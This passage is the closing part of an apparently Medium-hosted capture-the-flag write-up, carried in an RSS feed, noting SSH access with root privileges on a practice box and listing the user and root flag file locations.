src="https://cdn-images-1.medium.com/max/655/1*09v7q-Hydu6-pBBXVjE6Nw.png" /></figure><p>here we can see that we got successfully access to the box using ssh<br>checking the privileges we see we have root access so now we can find</p><p>flags for both user root as well as another user in their home dir.</p><p>Root flag at — /root/root.txt</p><p>User flag at — /home/fanis/user.txt</p><p>— — — — — — — — — — — — — — — — — — — — —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*PRFU-7chESBEHA4fPg817w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b34eec24d39" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>